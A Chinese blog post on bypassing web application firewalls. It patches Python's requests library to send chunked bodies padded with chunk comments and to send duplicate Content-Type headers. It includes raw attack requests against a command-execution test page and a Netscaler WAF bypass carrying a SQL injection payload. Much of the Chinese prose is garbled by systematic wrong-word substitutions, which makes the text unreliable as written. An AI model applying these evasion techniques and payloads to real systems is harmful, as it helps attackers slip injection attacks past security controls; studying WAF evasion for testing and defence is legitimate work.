前言
最近有WAF bypass的需要，学习了下分块传输的办法，网上也有burp插件，须要应用python实现一下，在应用requests实现时遇到了一些坑，记录下。
requests块编码申请
https://docs.python-requests....
申请参数data提供一个生成器即可
首次引入分块传输：
https://github.com/psf/reques...
应用burp代理分块传输不失效
为了能够精确的看到代码是否失效，我给requests配上了burp代理，然而在看burp捕捉的报文中发现分块传输并未失效
论断
并不是应用了burp代理后requests分块传输不失效，而是分块传输产生在Client与代理Server之间，burp申请转发并没有应用分块传输，所以在burp上的抓包状况看没有应用分块传输。
抓包验证
本地抓包 (Client与代理Server)
POST http://xxcdd.for.test.com/vulnerabilities/exec/ HTTP/1.1Host: xxcdd.for.test.comConnection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3Content-Type: application/x-www-form-urlencodedCookie: security=low; PHPSESSID=f49c32abdce4380305503cde9e522e67Transfer-Encoding: chunked2ip3=12173.0.30.11&1S2ub3mit3=Su2bm2it0HTTP/1.1 200 OKDate: Sat, 08 May 2021 08:31:10 GMTServer: Apache/2.4.39 (Unix) OpenSSL/1.0.2s PHP/7.3.7 mod_perl/2.0.8-dev Perl/v5.16.3X-Powered-By: PHP/7.3.7Expires: Tue, 23 Jun 2009 12:00:00 GMTCache-Control: no-cache, must-revalidatePragma: no-cacheContent-Length: 4489Connection: closeContent-Type: text/html;charset=utf-8<!DOCTYPE html>burp申请转发
POST /vulnerabilities/exec/ HTTP/1.1Host: xxcdd.for.test.comConnection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3Content-Type: application/x-www-form-urlencodedCookie: security=low; PHPSESSID=f49c32abdce4380305503cde9e522e67Content-Length: 26ip=127.0.0.1&Submit=SubmitHTTP/1.1 200 OKDate: Sat, 08 May 2021 08:34:44 GMTServer: Apache/2.4.39 (Unix) OpenSSL/1.0.2s PHP/7.3.7 mod_perl/2.0.8-dev Perl/v5.16.3X-Powered-By: PHP/7.3.7Expires: Tue, 23 Jun 2009 12:00:00 GMTCache-Control: no-cache, must-revalidatePragma: no-cacheContent-Length: 4489Connection: closeContent-Type: text/html;charset=utf-8<!DOCTYPE html>
Debug requests的分块传输过程
确定断点
requests源代码全局搜寻chunked，确定断点
requests/models.py PreparedRequest.prepare_bodyrequests/sessions.py Session.get_adapterrequests/adapters.py HTTPAdapter.send一一剖析
requests/models.py PreparedRequest.prepare_body
该办法中主动在申请头中减少 Transfer-Encoding: chunked，有两个条件：
- is_stream=True
is_stream = all([ hasattr(data, '__iter__'), not isinstance(data, (basestring, list, tuple, Mapping)) ])问题：not isinstance(data, (basestring, list, tuple, Mapping))是何意
- 申请体有长度
def prepare_body(self, data, files, json=None): ... is_stream = all([ hasattr(data, '__iter__'), not isinstance(data, (basestring, list, tuple, Mapping)) ]) try: length = super_len(data) except (TypeError, AttributeError, UnsupportedOperation): length = None if is_stream: ... if length: self.headers['Content-Length'] = builtin_str(length) else: self.headers['Transfer-Encoding'] = 'chunked' else: ...requests/sessions.py Session.get_adapter
def get_adapter(self, url): """ Returns the appropriate connection adapter for the given URL. :rtype: requests.adapters.BaseAdapter """ for (prefix, adapter) in self.adapters.items(): if url.lower().startswith(prefix.lower()): return adapter # Nothing matches :-/ raise InvalidSchema("No connection adapters were found for '%s'" % url)获取解决URL的adapter，adapter在Session类的域adapters中
Session生成器中：# Default connection adapters.self.adapters = OrderedDict()self.mount('https://', HTTPAdapter())self.mount('http://', HTTPAdapter())打印出相干：>>> print self.adaptersOrderedDict([('https://', <requests.adapters.HTTPAdapter object at 0x000000000490C3C8>), ('http://', <requests.adapters.HTTPAdapter object at 0x000000000490C7B8>)])获取到了adapter，则调用其send办法，来到下一个断点
requests/adapters.py HTTPAdapter.send
发送 PreparedRequest object. 返回 Response object
chunked = not (request.body is None or 'Content-Length' in request.headers)if not chunked: 失常发包else: 分块传输 建设TCP连贯 发送申请头 发送分块传输的申请体 for i in request.body: low_conn.send(hex(len(i))[2:].encode('utf-8')) low_conn.send(b'\r\n') low_conn.send(i) low_conn.send(b'\r\n') low_conn.send(b'0\r\n\r\n') 接管响应内容找到了发送分块传输的申请体的代码后，咱们就能够开始魔改了
魔改 requests合乎本人的需要
需要
能够发送带正文的分块传输
原始的分块传输是：
POST http://xxcdd.for.test.com/vulnerabilities/exec/ HTTP/1.1Host: xxcdd.for.test.comConnection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3Content-Type: application/x-www-form-urlencodedCookie: security=low; PHPSESSID=f49c32abdce4380305503cde9e522e67Transfer-Encoding: chunked2ip3=12173.0.30.11&1S2ub3mit3=Su2bm2it0绕WAF冀望的分块传输是：
POST /vulnerabilities/exec/ HTTP/1.1Host: xxcdd.for.test.comConnection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3Content-Type: application/x-www-form-urlencodedCookie: security=low; PHPSESSID=f49c32abdce4380305503cde9e522e67Content-Length: 269Transfer-Encoding: chunked3;9HMbo4HFtRCJQwAJW57tz0ip=3;70ixfv1272;ouCHr3.02;ZXjKnAt0.02;FcpKzNTK.12;JWf1je&S2;aiV0XrBKQFLbub2;S61NUmi1;MHr680eEyUqR6t1;OWOo9=1;AxsgGW9aizzJd5IRtJHGuRHPHS1;xb9ktTyWrAbhV2OkEu3;mtBp1OEKySwUhyyhbmi1;0CzTDt0重写相干代码
在requests/sessions.py Session.get_adapter中咱们看到默认的adapter是HTTPAdapter，要想达到冀望，就要对发送分块传输的申请体的局部进行重写
class ChunkedHTTPAdapter(HTTPAdapter): def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None): ... for i in request.body: # low_conn.send(hex(len(i))[2:].encode('utf-8')) # low_conn.send(b'\r\n') low_conn.send(i) # low_conn.send(b'\r\n') # low_conn.send(b'0\r\n\r\n') ...传入的request.body为iterator，内容是结构好的带正文的分块传输内容，相当于不让requests结构分块传输申请体，咱们提前结构好传入，ChunkedHTTPAdapter只管发送就好。
mount
对于adapter的mount，正文中给了示例：
Usage:: >>> import requests >>> s = requests.Session() >>> a = requests.adapters.HTTPAdapter(max_retries=3) >>> s.mount('http://', a)联合下面的剖析Session生成器中的解决最终为：
s = requests.Session() a = ChunkedHTTPAdapter(max_retries=3) s.mount('http://', a) s.mount('https://', a) response = s.post(burp0_url, cookies=burp0_cookies, headers=burp0_headers, data=iter(list_chunked), verify=False)再度魔改
将分块传输和失常的申请逻辑整合为对立的代码，以便于其余魔改
class HTTPAdapter(BaseAdapter): def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None): ... if hasattr(request.body, '__iter__'): # 分块传输 for i in request.body: low_conn.send(i) else: # 非分块传输 low_conn.send(request.body)又有个需要：Citrix Netscaler NS10.5 - WAF Bypass (Via HTTP Header Pollution)
要求为：
First request: ‘ union select current_user,2# - Netscaler blocks it.Second request: The same content and an additional HTTP header which is “Content-Type: application/octet-stream”. - It bypasses the WAF but the web server misinterprets it.Third request: The same content and two additional HTTP headers which are “Content-Type: application/octet-stream” and “Content-Type: text/xml” in that order. The request is able to bypass the WAF and the web server runs it.申请报文大略相似：
POST /test HTTP/1.1Host: xxcdd.for.test.comConnection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)Accept-Language: zh-cn,en-us;q=0.7,en;q=0.3Content-Type: application/octet-streamContent-Type: text/xml<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/"> <soapenv:Header/> <soapenv:Body> <string>’ union select current_user, 2#</string> </soapenv:Body></soapenv:Envelope>须要发送两个Content-Type申请头，再次魔改：
class HTTPAdapter(BaseAdapter): def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None): ... try: low_conn.putrequest(request.method, url, skip_accept_encoding=True) for header, value in request.headers.items(): # 这里当header == "Content-Type" 时，执行low_conn.putheader("Content-Type", "application/octet-stream") low_conn.putheader(header, value)后记
尽管上述的需要通过socket编程发送http申请也能够满足，然而在一个浸透我的项目的设计中，http的解决应该尽可能做到对立输入输出，对立应用requests库去解决http申请会使得总体设计更加简洁和有序。通过这次的折腾让我对requests库的源代码更加相熟了，置信下次再遇到奇怪的http申请需要，魔改起来更加得心应手。